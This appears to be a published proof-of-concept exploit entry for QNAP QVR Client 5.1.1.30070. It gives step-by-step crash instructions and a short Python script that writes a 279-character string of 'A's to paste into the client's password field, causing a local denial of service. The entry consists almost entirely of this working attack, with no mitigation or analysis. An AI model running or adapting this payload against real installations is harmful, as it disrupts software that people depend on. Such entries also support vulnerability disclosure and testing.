QNap QVR Client 5.1.1.30070 Denial Of Service

`# Exploit Title: QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)  
# Discovery by: Luis MartAnez  
# Discovery Date: 2018-07-26  
# Vendor Homepage: https://www.qnapsecurity.com/n/en/  
# Software Link : http://download.qnap.com/Surveillance/QVRClient/Qmon_5.1.1.30070.zip  
# Tested Version: 5.1.1.30070  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
# Steps to Produce the Crash:   
# 1.- Run python code : python QNap_QVR_Client_5.1.1.30070.py  
# 2.- Open QNap_QVR_Client_5.1.1.30070.txt and copy content to clipboard  
# 3.- Open QVR.exe  
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80  
# 5.- Username -> admin  
# 6.- Paste ClipBoard on Password  
# 7.- OK  
# 8.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 279  
f = open ("QNap_QVR_Client_5.1.1.30070.txt", "w")  
f.write(buffer)  
f.close()  
  
`